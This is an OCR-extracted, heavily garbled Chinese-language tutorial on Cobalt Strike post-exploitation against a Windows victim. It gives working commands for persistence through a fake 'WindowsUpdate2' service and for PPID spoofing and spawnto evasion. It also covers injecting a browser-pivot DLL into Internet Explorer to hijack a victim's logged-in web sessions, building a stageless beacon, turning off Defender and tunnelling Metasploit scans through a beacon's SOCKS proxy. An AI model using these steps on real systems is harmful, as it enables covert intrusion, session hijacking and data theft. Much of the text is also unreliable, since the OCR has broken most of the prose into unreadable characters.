DR QO EB=Z¢ 82U e /e B

external internal = user computer note

Interact 10.0.75.1 20267730 * XIAOMI13

pid last
Bid: 11231 Arch: x64 V... 9424

Access +

Explore »

Funs
Third-party
About

Bid: 11231 Arch: x64 Ver: 10.0

Reqister an executable file as a service

Service Name; |"J‘v"ind|:nwsl_1pdate |

BinPath:  [C:Windows\system32Wiaoxue exe

exe |

| Install

B Registration service — [l X

' 1508067 TEAM
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I Cobalt Strike ) X
Cobalt Strike View Aftacks Reporting Help

DR QO EB=Ze 82U el /e B

external internal = user computer note pid last

MAOMIT3 Bid: 17609 Arch: x64 V...
(= B 41 10.0.75.1 e0267730 * JAOMIN3 Bid: 11231 Arch: x64 V 9424 652ms

0.75.1@9424 X

sonding to the contrel function.

More help is available by typing NET HELPMSG

SRE AL sC Ar A0t xiaoxue. exe ISINEE T AR BT, MIHILE T — AR
N SYSTEM ] Beacon.

H AR Z[E T 78 Beacon 5] & 1 Hi N :

shell sc create "WindowsUpdate2" binpath= "cmd /c start "C:\Windows\sys
tem32\xiaoxue.exe""&&sc config "WindowsUpdate2" start= auto&&net start
WindowsUpdate2

FIFE2> 28— Beacon Shell:

I Cobalt Strike ) X
Cobalt Strike View Aftacks Reporting Help

OO EB=Ze 82U e e B

external internal = user computer note pid last
10.0.75.1 HAOMIT3 Bid: 17609 Arch: x64 V...
(= BN " 10.0.75.1 e0267730 * JAOMIN3 Bid: 11231 Arch: x64 V.. 9424 466ms
(= BR RN 1 10.0.75.1 SYSTEM * JAOMIN3 Bid: 57984 Arch: x64 V 12780 11s

“emd /e start “C:\

2" binpaths

g to the contrel function.

More help is available by typing NET HELPMSG 2186.

¥
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I Cobalt Strike ) X
Cobalt Strike View Aftacks Reporting Help
O (O B¢ 8L b Psa B S

internal = user computer note pid last
Fus =
]

10.0.75.1 XIAOMI13 V..

10.0.75.1 e0267730* <JAOMIN3

10.0.75.1 SYSTEM * <JAOMIT3

WindowsUpdate” binpath= “cmd fc start “C:\Users\e0267730\xiaoxue. d11”"&ksc config “WindowsUpdate” start= autokimet

FhP: EB BPLENR Beacon BHF

[ /]
Cobalt Strike View Aftacks Reporting Help

DR QO EB=¢ 82U whE Pda B g

external internal - user computer note pid last
(o I 141 10.0.75.1 SYSTEM * IAOMI13 4976 49s
141 10.0.75.1 SYSTEM * IAOMI13 5032 49s

HIf S R IX P Beacon.
0x02 7E 1 B\ IR 55 %5 2 [B] £33 Beacon Shell
F—3%: R I —— & Beacon BB A ELZLHHELE

\

455
<
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<AOMIT3

EventLog X | Processes 10.0.75.1@8080 X

[ 14236: vpnemar_x64 exe —
= (8148 cmd exe
[]4404; conhost exe
8080 powershell exe
[ 14224: rundil32 exe
= []9364: Xshell exe
[]8516: XshellCore exe
[ 8376: ighEM exe
= [F19584: wps exe -
«

PID
0

4

56
104
444
644
748
756

PPID

-]

572
§72
740
4R

Name |Arch | Session
[System Process]

System

Secure System

Registry

SMSSs exe

CSrss exe

wininit exe

€S5S exe

SEnires eve

User

820
[k [ Refresn

| [Linject. ] [+ Log Keystrokes ] [ Screenshot. | [ steal Token | [Heip |

47 Beacon JF1E powershell.exe | . {H ZUbiEFE LIRS, FFAELLIERE A Z
R4, Pl —NEREAN

1%+ jusched.exe (Java EHIFET) ,» AAJEIEA:

JAOMIN3

EventLog X I Processes 10.0.75.1@8080 X

[ 12860: WeChatApp exe -
[ 8376: ighEM exe
= []9584: wps.exe

[ 12220: wpscenter.exe

[[112304: wpscenter exe
[ 10728: GoogleCrashHandler exe
[ 10752 GoogleCrashHandlerd exe
[ 1120: Everything exe

[112472: jucheck exe

‘ b

I Choose a listener - o X
name payload host port

mst windows/foreignireverse_tcp 1 770 8080
MSF_VPS windows/foreignireverse_tcp 12 Ve 37 8080

7824
12760
12760
7184
14160
12124

wpscenter exe xB6 1
cmd exe x64 1
conhost exe x64 1
1Passward.exe xB6 1
vpncmgr_x64 exe 64 1
Everything.exe xB6 1
Dacker for windows Installer exe 64 1

Jusched exe

[ retresn | [imect | [ Log Keystrokes | [ soreensnot. | [ steal Taken | [ reip

User

NUSU\e0267730
NUSU\e0267730
NUSU\e0267730
NUSWU\e0267730
NUSWU\e0267730
NUSU\e0267730
NUSWU\e0267730
NUSWU\e0267730
NUSU\e0267730
NUSU\ ]

RIGERATIH 53] — A3 0] ) HFLE jusched.exe [2f¥] Beacon Shell:

MS08067 TEAM
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I Cobalt Strike
Cobalt Strike View Aftacks Reporting Help

OO EB=Z¢ 82U el e B

external internal =

computer

e
[ 3348: WDDiscoveryMonitar.exe

PID PPID Name Arch Session User
0 [System Process]
0 System
56 4 Secure System
104 4
444 4
644 572
748 572
756 740
820 748
828 748
848 748
920 740 winlogon exe
260 820 svchost exe
552 820 svchost exe
568 920 fontdrvhost exe
668 748 fontdrvhost exe
1060 820 svchost exe
- 1108 820 svchost exe
1180 Q90 thwm eve
Kill | Refresh | | Inject [ Log Keystrokes | Screenshot [ Steal Taken Help |

SRIGTEJE R AL/ HFE powershell.exe | H3EFE Exit. Remove B H],
B0 R TE—— PPID Isfife ElmF #HEIRAET &5

I Cobalt Strike

Cobalt Strike View Aftacks Reporting Help

DR QO EB=Z¢ 82U e e B

external internal =

EventLog X

user computer note pid last

even
udIs@144 70|ud98@52. 108

HFr A 144 % . % .70 iX & HIBA IR 25 28 1) Beacon Shell /&3] 52. %, *, 108 iX & [P\

k55 4% Lo

SCHRERRIRAT (PPID) M AH R 5| NRIEOR, UM E AR fES LA
Al ACHERE 1D SR N AR PP BUAE ORI TRE . AIRIRERS, Bt 2
TROBCE R, CHR AT ZEER R ARG O T

MS08067 TEAM
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The Parent Process Identifier (PPID) Spoofing is a quite fascinating
technique since it enables malicious applications to spawn new processes
under a different parent process ID. It is been used in the wild since ever to
hide malware, especially when some kind of persistence is required. Let’s
see together how to implement this capability into the Meterpreter agent.

5/ H: Meterpreter+PPID Spoofing-Blending into the Target Environment,
Ish4ck

AL [] Beacon Shell 24 RTIZ1T7E jusched.exe b, BCHEFERR T A G (K —A>T-3HFE,
—MEASHE TR, FrAIRAEIE I FEITE chrome.exe #HFE R, LEEIAGIA
HEH. {HH ppid 2% chrome.exe 1% N5CHEFE:

[ Cobalt Strike - ) X

A GwhE fa B

external internal - user computer
o 111193193141
[ 11280: vpnclient_x64 exe & PPID Arch Session User
[ 11440 OneDrive exe i 752 1 .
= [ 10608: Foxmail exe 8108 7824 chrome exe x64 1
[ 10716: Foxmail exe 12244 7824 chrome exe 64 1 NUSWU\e0267730
[J4204: Foxmail exe 11968 7184 yundetectservice exe xB6 1 NUSWU\e0267730
12220 9584 wpscenter exe XB6 1 NUSU\e0267730
11224 7824 SogouCloud exe XB6 1 NUSW\e0267730
[E] 12244 chrome exe 12124 7184 Docker for Windows exe *64 1 NUSU\e0267730
[ 11224: SogouCloud exe 9792 7824 chrome exe %64 1 NUSWU\e0267730
[ 9792 chrome exe 12200 7824 chrome exe *64 1 NUSWU\e0267730
[& 12200: chrome exe 12812 7184 1Passward exe *86 1 NUSU\e0267730
[&] 12944: chrome exe 12944 7824 chrome .exe X64 1 NUSU\e0267730
[& 12952: chrome exe 12952 7824 chrome.exe B4 1 NUSWU\e0267730
[& 13020: chrome exe 13020 7824 chrome .exe X64 1 NUSU\e0267730
[& 13040: chrome exe 13040 7824 chrome .exe x64 1 NUSU\e0267730
[E 13048: chrome exe 13048 7824 chrome .exe x64 1 NUSU\e0267730
[& 13076: chrome exe .| | 13076 7824 chrome .exe x64 1 NUSU\e0267730
1 r 13092 7824 chrome exe x64 1 NUSU\e0267730 -
E [ Refresn | [inject || Log keystrokes | [ screensnot | [ steal Token | [ Help

{8 F chrome ) 64 i FHEFERAE NI

N 2R TR A 2 U
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https://mp.weixin.qq.com/s/RfZZXqttSWN4A4DmG82UDA

I Cobalt Strike 3 s
|Cabatt Strike View Attacks Reporting Help |

DR QO EB=Ze 82U e fa B g

external internal = user computer note pid last
10.0.75.1 e0267730 XAOMIT3

—,\| Processes 10.0.75.1@2548 X |W|
[ 11440: OneDrive exe ~14PID PPID Name Arch Session User
= ol =N ——
[ 10716: Foxmail exe 12244 7824 chrome .exe x64 1 NUSU\e0267730
11968 7184 xBE 1 NUSU\e0267730
12220 9584 XB6 1
11224 7824 XB6 1
12124 7184 x64 1
9792 7824 64 1
12200 7824 64 1
e 12812 7184 1Password exe 86 1
e 12944 7824 chrome . exe 64 1
] 12952 7824 K64 1
e 13020 7824 xB4 1
[E] 13040: chrome exe 13040 7824 e K64 1
& 13048: chrome exe 13048 7824 chrome exe X654 1 NUSUW 77
[8 13076 chrome exe 13076 7824 chrome exe x4 1 NUSU\e0267730
@ 13092: chrome exe 13092 7824 chrome exe 64 1 NUSWU\e0267730
13148 7824 chrome exe 64 1 NUSWU\e0267730
'W“ Refresh.| | Inject [ Log Keystrokes | Screenshot | steal Token] | Help |

\Application\chrome. exe

vE: fHH spawn T SR NIEIT 88 IRAE 06, spawn TN NSH, B
—/NEAH (x86 B x64) , H_ANSHGERUTEE. BIAMEML T, spawn
AL rundl132.exe FIRAESTE. HZIXFE (rundl1132.exe EHH
Internet I ERX AR HEIG) WRe o EE R AER, il 1 EiF
HIREHYE, W LM & A IR P W Internet Explorer SKIFAT & 1EUR
4.

] spawnto fir & UL LEIRA B 2 TR A MRAF . S &3
RGN, B A SHGE T IRE 21 IR 1) 78 B g A2 . gl S
#] spawnto x64 C:\Program Files
(x86)\Google\Chrome\Application\chrome.exe X4 .

=0 EEABRIN— SRS S L
TEF I DIRSS %% 52.%.%.108 | H1 % reverse_http M7 25:

ad
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I Cobalt Strike ) X
Cobalt Strike View Aftacks Reporting Help
Qe B¢ 8 ,U b0 Psa B S

external internal - user computer note pid last

EventLog X | Listeners X

name payload haost part beacans

new-team-server windows/beacon_hitp/reverse_http

[
[Lada| [ Eat.| [ Remove ] [ Restart.| [ Heip|

ud9s@144 70 |udss@52 108

1F 144.% . * .70 iX & FIBAIR S5 28 FA/A%L I8 1K) Beacon F A5 — Spawn, EFENINI6) 4
W T 2% -

[ /]
Cobalt Strike View Attacks Reporting Help
DR O EB=¢ B8 PU FwhE da B G
external internal - user computer note pid last
e0267730 XIAOMI13

payload
windows/foreignireverse_tcp

s52. 7000 108

ud98@144.168.57.70 | ud98@52.192.59.108

XA EAEEEE T spawn [Halr2e44]:

spawn new-team-server

SR R BB IR AR 5548 T, 2RI cgefeifid ok 1

W V508067 TEAM
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B Cobait Strike [a)
|Cobalt Strike View Attacks Reporting Help

CE O B¢ 83U e Pda B

external Internal ~ user computer note pid last
£0267730

B Process List KIS RIHHZ/EAN chrome. exe ) FREFEIEITIY, 1H2
KR 2152 chrome.exe T IREFEHF R T, MREH T — BN
rund1132.exe, H:5ZiX B —K 2 H iexplore.exe [f) x86 T-#FE/E IR 215 I
BPEFE (fdH] spawn x86 c:\program files (x86)\internet
explorer\iexplore.exe fi%) o ZATLMEH x86 T-#tFE, 2N T IR x64 it FE
X 73 FF K

HREAHFAEH T spawnto x64 C:\Program Files
(x86)\Google\Chrome\Application\chrome.exe X/ M4, FTLANLE A ER
chrome.exe SCHFREIX 73 JF oK. PRI H 5248 FH ()72 chrome. exe SCHFRZIRAE 231, 1M
WAMEAEFHERIRAE S, TS ARE ST T spawnto fs 2 ERIME A 1)
rund1132.exe f£/7 L.

:
V)
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#
¥
1.
2.
3.
4,

L

7824: chrome exe
8108: chrome exe
12244: chrome exe
] 11224: SogouCloud.exe
9792: chrome.exe
12200: chrome .exe
12944: chrome .exe
12952 chrome .exe
13020: chrome .exe
13040 chrome exe
13048: chrome exe
13076: chrome exe
13092: chrome exe
13148: chrome exe

+ [5] 12760: cmd .exe
10492: chrome.exe
12912: chrome exe
8524: chrome .exe
8256: chrome .exe
3764: chrome.exe
[19572: rundii32 exe

&

— & BB % 25 LI Beacon f5i8 ) 75— & BIBANIR %25, Sk i 020 80 -
New Connection FEFEFIH 1) AP RS %= .
P T BA IR S5 4% _EJTF T 5 51 reverse_http HiWT &% .
EIH R %5 %8 1, [Beacon] — spawn — 558 — BT AT 28
AGEIRNT, FITER I BIAR S 2B E

AT RAZE IH B A IR 5% & Ll i ppid fin 48 € 21 KSR, o mT DL i

spawnto iy 248 & H TIRAE AL E S 1E FEFE (BRAJE rundll32.exe, T

c:

\program files (x86)\internet explorer\iexplore.exe) .

\g MS08067 TEAM
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EEPE=E

[1] Youtube #4ii - Session Prepping and Session Passing (Cobalt Strike 4.0),
Youtube, Raphael Mudge [2] Meterpreter+PPID Spoofing-Blending into the Target
Environment, [$EHUIERE] AA'S, Ish4ck, 2020 42 H 10 H

' MS08067 TEAM
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https://www.youtube.com/watch?v=4xnBn5ZVkKE
https://mp.weixin.qq.com/s/RfZZXqttSWN4A4DmG82UDA
https://mp.weixin.qq.com/s/RfZZXqttSWN4A4DmG82UDA

Cobalt Strike M %23 Bk ik By

0x01 A4
W E 2Bk Wi (Browser Pivoting) /&— N JZERIBEHRE A .

W H3RHL T B ML 1 Beacon shell, #4583l Cobalt Strike ] screenshot T..E.
HATEGE, BRI FEN L&A IEE S web N AT AT EH, g T
TELMRAR, IEAEMSHE SR B TTRR 2 i 2 B o 3RS 6T 3285 1202 H A
HEARSEME.

Y fa] 2 A FH X 28 web N FIE ?
[ YE 2B Bt 1 w2 & F T X Rz s i — M it 7 =0

a7 BOR UL, 0 DA% AR I ol AT BALE ey 5 A2 55 LB 0 2 P A9 B oK il
vaay EITE RN o Boade s m] BLAEAR F s P 6 T Mk 1 5 IR BCRR, AH =4 Bk
i Y N R ) B B

BEEERS
5
web &3k
(RESHIIE)

AR N
y tﬁﬂﬁ%ﬁ% P web KL
web 155

(B BHIAL)

[0 e s WA Bty 1 (8 0t w] LLA E SR S it H AR 30 s rh kT sk . 3X
fil e w] AR E b F P B89 B4 5 L Rl BEAT B BRAC L. SEELE & HAx .

Hi2&, ArfeaZumH P BaUfiH Internet Explorer WI%i2% (iexplore.exe) ,
WU, RATLLLLEFH PS40 Ui e B A5 H P HHE Internet Explorer WY
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APRILE R (X 5T explorer.exe) , JoikiyijinlZ M P HF/E Edge. Chrome
S5 v As I ARLE RN F o

0x02 S JF 3
A [ s Bk Bt 1 A seBl A #

U SRAE R socks BAR /ACERBAR R V5 17 52 F W12 3 HI - 4T IF RO LE web A, mE
F3E I AN

-
GV e S
iBid HTTP/HTTPS/DNS/=iE
E— g% [ELNEC2 Internet
socks fREE8 Explore
RSB, cookies, ‘
T ST, TSR K
FETTBAIAIE
Y
bogs i)
web 34558 Web 7S
RS Bt 1888) web NSRS

#2IRFAFAY IE AIEJRT WebRZ A

HE St 2 o 2Bk Bt 5 socks BRARAN R, AT LA IS £ 4 A ERE ?

ERAESE M= cec=—mr s n oy k)
HTTP Internet Explore

2 SEA—AMIEE IE RIS
1. EEBARSEE Lo T HTTP {i B 5. {KEBIEILNRERF A% WinINet (Windows Internet API) EERI—1 API i
= ST FHHMENIER 6. 1A web B REAAA 7 HATFIMEY |E MISIBAGHTA—MTER
L
web %28 Web R

A SAE T WinINet IXADNE. TAEFHE:
1. BEFEEN. RSB B AW — A agent (ARFE) VENF IE (W gsHERE

" MS08067 TEAM
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2. TERPIRS 48 EAE—A HTTP AR AR 5S4 o B i Be s 35 18 108 ok A H il
25 1 TP g 11, iﬁffﬁEﬁZT agent 1) — MG RAL5S

3. HUEEFNE CHIN R ARE R web RIS, 1E H1#) agent (AR Krhifk
Ak % winINet ZEfK) AP 8 FH

4. 5%, WinINet tH52 [E WG 28 FH T web i{E M E T H A IEAIZE . Internet
Explorer ¥ H: BT /5 24645 WinINet 2. 3 H A% H WinINet iX 422k B
HH F ) cookies. SSL 21 Al AR 55 2% B 3 B6AIE s

5. TR LT, A ERIIT — 4 web 153K AT BL5| & G 9% 1% BH
FIE. B ) web 1K T2 3K B 1 i H P 1Y cookiess SSL 21 AR 5%
w5 S I IE 5

6. %, BEhH N web WERBUKDY 1 HATITE N 1E W 8% M EEAT B — S8 iE
Ko

1234 beacon”> browserpivet 21260 xB8G6

[#] [ Injecting browser pivot DLLlinto 21260

[+] [Browser Pivot HTTP proxv is at:|]

[+] started port forward on 38806 to 127.0.0.1:38806
30 bytes

[+] host called home, sent

L]
&
9
2

T
[+] host called home, sent: 1

S

0x03 B /&

H 5 it Cobalt Strike ) scr‘eenshot T EHEZIHbsH PR IE 3% 28 @ S
ISRt T processon WY, AEE 0 UE #8 B iRk B A A H s A P E R E R A
Ko

e MS08067 TEAM

www.ms08067.com



B Cobalt Strike - =] b

external

EventLog X | Beacon 10.075.1@2112 x | Screenshots x|

user | com... |pid when |« N

- ' il https://www.processon.com/diagrams
8026.. XAO.. 2112 0172, + &l nttps:// P /diag
2026... MAO.. 2112 01/2...

2112 02/0

AXE Y RIS

BFEX = w_ 1

S3ME

B WEN KRR

beacon> sleep ©

Je3E beacon BENA B, K YE 23 kAR /2 181 beacon 2 1 SR P8 I# (5 1L Fr 4L
2117, FTLL beacon iE+Hz 21| [ BA AR 55 25 1A 400 26 25 52 e 0 a2 AR ) [R50 o B DA
8 beacon 21 15 NS FLAR R SEI B 47 R AR .

SRIGHEBE N 2SR (agent) o X SEPR E& 5 R AMESS
o Ff agent FRJFIENZENLAS N IE W vE 25 1 FE
o TERBANARSS B3 0 — AN F S —A HTTP AR IR 575

[Beacon] — Explore — Browser Pivot:

I Cobalt Strike - =} X

Internal ~

192.168.56.1 p A014802-PC

* | Desktop (VNC)
File Browser

»| Net View

Port Scan

Process List

Xl Beacon 1 Screenshot X—l

* MS08067 TEAM
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.‘l Browser Pivot

PID PPID Arch Name User

7900 7736 x64 explorer.exe NUSW\e0267730
18704 7900 x64 iexplare.exe NUSW\e0267730
20424 18704 4 xB86 iexplare exe NUSWN\e0267730
21260 18704 ¥86 iexplore exe NUSW\e0267730
17532 18704 ¥B6 iexplore .exe NUSW\e0267730

Proxy Server Port '47“_-‘19

Launch || Help |

Al LA B ml i Nl a3t #E, €045 explorer.exe. iexplore.exes
Zﬂi)\i%ﬁ, 1% x86 1] iexplore.exe HEARHATIEARCR LT . MARIT K]
XEEHERE, XLEAT A HERR RS 2 TE W B8 s BERE 1) TR A5 T

WILHE 7 pid N 21260 HIBFREHEATIHEN: & L5 Launch.  (3F: AJLUE
Proxy Server Port “Bri#E HTTP ARH R 55 %75 B AR 55 a5 LT AETRAN o 1)

At T™E, A 21260 1IX4 pid B 1E W S 2SHEFEEN 7 W 2s ki DLL, JFH
1E B AR 2% 25 1) 47855 i [ )5 2 T —A HTTP ACHEE AR 2% 2%

beacon? browserpiveot 212060 x806
[#*] Injecting browser pivet DLL inteo 21260

[+] Browser Pivot HTTP proxy is at: 1: L T0:47

[+] started port forward on 38806 to 127.0.0.1 :388006

[+] host called home, sent

[+] host called home, sent

SEbr b, IR AN RE ] DL ARSI ROR AL F I
JIBASE 5 — 6], 2% 1k Y 2R Bk AR 25 15 4# H browserpivot stop T4 :

id browserpivot fiy%

é MS08067 TEAM
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beacon”> browserpivet stop

|*| Stopped Browser Pivot

|+| stopped proxy pivet on

5. #id chromium ¥ %2515 5 web N

i FH chromium 31 ' 25 f) 44k A2 -

chromium W 5% &8 — Ny 217240 ignore-certificate-errors, I HiZSHn]
PLZBEIE P05 R o X SRR FRATIN W — 8 JE = SSL (1 sl AN b R R, B — 1k
T N ARSI H 7~ . BT AL chromium % 8% ) ignore-certificate-
errors EI# 15 Cobalt Strike [ ' 2% BkAR T BE 5 4 FH .

chromium --no-sandbox --ignore-certificate-errors --proxy-server=144.%,
*.70:47855

TERIXA proxy-server ZEUPE /2 HTTP ACEE IR 5528 (118 -

beacon? browserpivet 21260 x86

[#] Injecting browser pivot DLL inte 21260

[+] Browser Piveot HTTP proxy is at: 1: . 70 :4785¢

[+] started port forward on 38806 to 127.0.0.1:38806

[+] host called home, sen 172736 bytes

[+] host called home, sent: 12 byvtes

7E Kali JEfUNL 5 N _ETE a4 (Kali W& T chromium W 28D , RS HNIT
T30 U 2 UL T

SR G % processon [FJ1E: https://www.processon.com/diagrams
SRJE IR AR R8s 1 H AR S FH - 2 S R 9 s LT 17!

v,
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0

AR
ZEFEEZENRE [
#id

Dy e 15 RIOME (R DR

o8 Lad g

HIOXHED

+ iR
- (BEENETE
- BEGER

a
[aiE 5402

FH A 55 3l A S 365 A — FE 1)«
1] https://shimo.im/dashboard /used 7] LAE :

O BAEH - GEXH

€ > X {3 A Notsecure

B E N2, fEIXEE HTTPS Wuh E#AUE B4R, {22 chromium #4511
ignore-certificate-errors S #E BIFRAIGL TSRS R, 1EW BTG RI ] T PG

O BAER - G

€ > X ¥ A Notsecure | b
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0x04 PN
1. DAZIESEAE Beacon MRS H B (5 A 2
sleep ©

IR Sy i W s B 2 18 beacon 2 1E KB IE IS L 55 11, BT LA beacon &3 4]
AR 55 5% 1R A0 58 2 52 M ) 6 26 R A 1) ) 2512k

MAFAET 5@ ERT, & P E0E R Y Bk D 17 2 1) web TUTH HBLES2
HHY B T PR A )

1]

A

ZEEyMAER BRG]
il

e S

B

» R
- OBEENHE
- BEUER

a
[aiE 5402

2. ZRELVE N x86 [ IE W) M8 S kR
R —A/NOIENT explorer.exe HFE, e HILUN T RUR
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beacon> browserpivot 18704 x64
[*] Injecting browser pivet DLL into 18704

[+] Browser Pivot HTTP proxy is at: 1

[+] started port forward on 50816 to 127.0.0.1:50816

[+] host called home, sent: 86048 bytes
browser proxy refused commection.
browser proxy refused commection.

browser proxy refused comnection.

B

This site can't be reached

JRR A PRI SE, WA IE M2 web 185 AV H S EMTH T winINet
Jf, Explorer ¥ %48 3 3% A i X AN

AN x86 ZEKIT) IE {XJ"*%&H‘:‘&%%%E)\/XJ”*””EJE*)E(DLL, KN R EE
AN T S53THW IE &R BB A Be gk AR & THIRAES GaEd B0 AE)

{H AR bR 28 U RE TR BB, RN FIE IR ZE S 1EIRES . Cobalt Strike ¥
TEE N NIRA] LUy N B BERE 55 10 B os — AN A IEHE .
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n Browser Pivot

PID PPID Arch Name User
7900 7736 X64 explorer exe NUSU\e0267730
18704 7900 iexplor NUSU\e0267730
20424 18704  x86 iexplore exe NUSU\e0267730 v
21260 18704  x86 iexplore exe NUSU\e0267730 v

Praxy Server Part: |55238

Launch H Help l

,E'\%QT:
BLENFT 2)/A) 1) x86 ZEH ] iexplore.exe HFE .

EEPE=E

[1] Youtube #4851 - [“7%:hi ] Red Team Ops with Cobalt Strike 9 of 9 Pivoting,
Youtube, Raphael Mudge [2] Cobalt Strike mannual 4.0, Cobalt Strike & ¥

' \508067 TEAM
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https://www.youtube.com/watch?v=T6JOzXmpmZw&list=PLC0e6z60AM2Gqimz0kFiLBp5cCnCQGoud&index=9
https://www.cobaltstrike.com/downloads/csmanual40.pdf

Cobalt Strike & MetaSploit Ex3/j

0x01 & TAE
ZEFHL: X H Windows Defender F1H A — 4 X B IRTHE N, 7 Win 10
FEHLFHEAT IS

e MSF: AHh kali
e  Cobalt Strike [AIBAARZ5%%: Ubuntu VPS

o Cobalt Strike: 3.14
BARR 5525 :

wmportant-clusters-2#|nohup ./teamserver 1 .1 ".57.70 password &

[1] 29304

¥

sNUsersh.. “Desktopscobaltstrike 3.14>java —-HH:ParallelGCThreads=4 —Hi:+AggressiveHeap —HE:+UseParallelGC —jar
cobhaltstrike.jar $*
.i Connect

This is the connect dialog. You should use it to connect
to a Cobalt Strike (Aggressor) team server.

Host: [1 .57.70

Port: [s0050

User:  [UDg6

l
l
l
l

Password; [+

ERITTE:
RN T — V)38 M Windows Defender, [EH AN G 5 o

MS08067 TEAM

www.ms08067.com



B cobalt Strike

Cobalt Strike View Attacks Reporting Help

og O H

external

Packages 8| HTML Application

Web Drive-by * | M5 Office Macro
Spear Phish

Payload Generator
USBE/CD AutoPlay
Windows Dropper

Windows Executable
Windows Executable (S)

|

er

note

pid

last

EventLog X
01/10 10:31:18

[01/10 10:31] UD96

; .‘; Windows Executable (Stageless)

Export a stageless Beacon as a Windows excecutable.
Use Cobalt Strike Arsenal scripts (Help -» Arsenal) to

stage: [testl

s

Y

-

Proxy: [

Output: |Windows EXE

...................................... -

x64: || Use %64 payload|

...................................... -

l Generate || Help |

[1lag: 00]

D'?
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H A
Vo
M

applications.xm beacon.exe c2infooml cam

| /

>
o Saved Windows EXE to

C:\Users\. T\Documents\beacon.exe

— LA A R ANTE 2 Windows Executable 1 Windows Executable (s) HIIXH. #&
B CRYE, Windows Executable s&/EfY—7™ stager, {H/& Windows Executable
(s) 7 stageless 1, MM T EHIZLAEMR— stage. XN K— Do WrBiALi%
payload FUMES, At 2 R, A Ni% windows Executable (s) ELIHT,
N payload stager [ HARFRGE A, WA LN @2 2Rt FrblgeAs 7o B Bof A
BB

SRIG LR B2

I Cobalt Strike.
OB O EZ0 8L, GehD fa WO

xternal internal

i B2 A, ATOMS SRR E . iE [P 1] 8 R (52 A
BVl

AT TS, URHAE cs 5730k, RBET —F;

g MS08067 TEAM
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iV, Beacon & — MR payload. w A ASSLEIPAT . FE P AHB
2 NBAFI . 24 Beacon B BIRITI % . B2 F HIX Ly & FF R
1TEAT. BEi, Beacon 244 P B ik & gh k. WRIIANE 1%, 1HH

clear fir 2 KiGEE 241l Beacon M2 BA% .

BIEOL T, Beacon & 60 i EI/R—k. AT LI{EH Beacon [
sleep M A MBHUX NS EEE . # ] sleep #:35 — MO UK & Beacon
ERBRRINE . IR UEE R AN, BN HLIE—1 0 2
99 Z [AIE . XM EF ARSI T . Beacon ARIEARTE € B A
T 0 E o LEBENLAR AL S UOERE BRI [A] . LL A0, sleep 300 20 X2k
4, 211113 Beacon HEAR 300 7, 54N 20% MESIA 7. XEWRE
Beacon fERFIIEZ RIR 2 J5 2= BEALIEAR 240 - 300 7.

EL§143 Beacon A2 EH B, T sleep 0 4. XHiE (XL
AL o XFEIT Ap BT . FEVR B BETE IR B AR
JiAF 13K 1) Beacon 4t 132 HAEIL F. —%& Beacon #74 (Ul browerpivot.
desktop %) 2> H 3 1{f Beacon 7E  YCEEZ EIMRE 4b T 58 B AT

FEIX BB BN B AR A T

Event Log X | Beacon 192.168.56.1@18188 X |

beacon* sleep 0

[*] Tasked beacon to become interactive

0x02 i&#id beacon I B ] socks THEER: A Msf BN H br N W HEAT
BAE

W TRV A ME LB, MEXERE WA S SR CS A1 MSF FIEC
gl

P4 7R EL CS AT MSF BUBKEhE ? = ZLE AMEZL M oA —F, RERINTE T
Beacon, 1HJ&FA 1A IHigid 75 E A% B MSF [¥) scanner. exploit X EEIhAERLER, M
CS EME f515E. HINA1E—L,

MSF 5t 2 A< HE Kali [ %5 (1 msf5:

1508067 TEAM
www.ms08067.com



=[ metasploit v ).62-dev
+ -- --=[ 1949 exploits - 1090 auxiliary - 334 post
+ -- --=[ 558 payloads - 45 encoders - 10 nops
4

-- --=[ 7 evasion

msf5 > msfupdate
exec: msfupdate

HG, B HARN AR Beacon T3 socks ALk :

beacon> getuidbeacon> socks 1080

a -

Event Log X | Beacon 192.168.56.1@18188 X|

beacon> sleep 0

[#] Tasked beacon to become interactive
[+] host called home, sent: 16 bytes
beacon> getuid

[*] Tasked beacon to get userid

[+] host called home, sent: 8 bytes

[*] You are A xue

beacon> socks 1080
[+] started SOCES4a server om: 1080
[+] host called home, sent: 16 bytes

SRJ5, 1T view — Proxy Pivots, & iill4 i) MSF AAFREEHE .

B cobalt Strike - ] X
Cobalt Strike‘\f'ie‘-\.' Attacks Reporting Help
BB O apicins | AEHGwBED Lo B
T Credentials - user computer note pid last
H Downloads .56. 3 A014802-PC

Event Log

[ = |
1 Keystrokes

Screenshots

Script Console

Targets
Weh Log

¥

W MS08067 TEAM
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Event Log X | Beacon 192.168.56.1@18188 X | Proxy Pivots X

user computer pid type port fhost fport

A014802-PC 18188 SOCKS4a Proxy 1080

B Tunnel via sOCKs - O x

Use this command in the Metasploit Framework to tunnel
exploits and auxiliary modules through this Beacon.
Use unsetg Proxies to stop tunneling through Beacon.

|§setg Proxies socks4:1 37.70:1080

o

[ Stop “ Tunnel ” Help ]

AR5 MSF, 3 i A B, BIVRT B H bs Py IRZEAT 2% R -

msf > setg Proxies socks4:1xx.1xx.57.70:1080 BB ILARE msf E L

Ml cs M socks R msf > setg ReverseAllowProxy true X
[f]3#i& msf > use auxiliary/scanner/smb/smb_version ZFE msf PHIKE

PRIMBEHT B AR N AT I BREI AT, betn, R0 B AR N AT A Windows AL#s HITEA &
il , ML Ee 4 M FESE msf > set rhosts 192.168.56.0/24 &€
CIDR %3 H AR MEL, RS A] R SEpriE i eh ik — AL, thin,e/20,0/16. . .msf >
set threads 1 LREANELAMIIRK, RS H bR

Prf& oL, % HI7E 18 LA msf > run

B -- === 8 payloads - 45 encoders -
[Cobalt strike |NiBWRAEGKSIREpoR -- --=[ 7 evasion
oDE QO E=¢ B A
external internal ~
192.168.56.1

™

msf5 > setg Proxies socks4:1m9 1% .57.70:1080
Proxies => socks4:1 .57.70:1080
msf5 > setg ReverseAllowProxy true
® ReyverseAllowProxy => true
msf3s> use auxiliary/scanner/smb/smb version
msf5 alwiliary( ) > set rhosts 192.168.56.0/24
rhosts =>"192.168.56.0/24
s2: msf5 auxiliary( ) > set threads 1
* threads => 1
msf5 auxiliary( ) > run

192.168.56.1:445 - Host could not be identified: ()
192.168.56.0/24:445 - Scanned 26 of 256 hosts (10% complete)

MR S 5 DU 5 B 59 9ERS ,  AAR/INBRT KA ) 1 RV L

)
¥4

o, MS08067 TEAM
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M2, X ERARSEA —A CS Beacon shell, A5l socks fCH, B2 FHL

(i & AR B ALY msf, K5 ASHD msf g v] LAZEAT — 28 oy PRI Sl TR R

0x03 ZXIRAE Bl €S HISMER tep W 4581 ssh FEE E#IRAE—4

meterpreter [¥] shell £ H#h

AR
BRI, (HRAG AR AR, SRR E A = B FE .

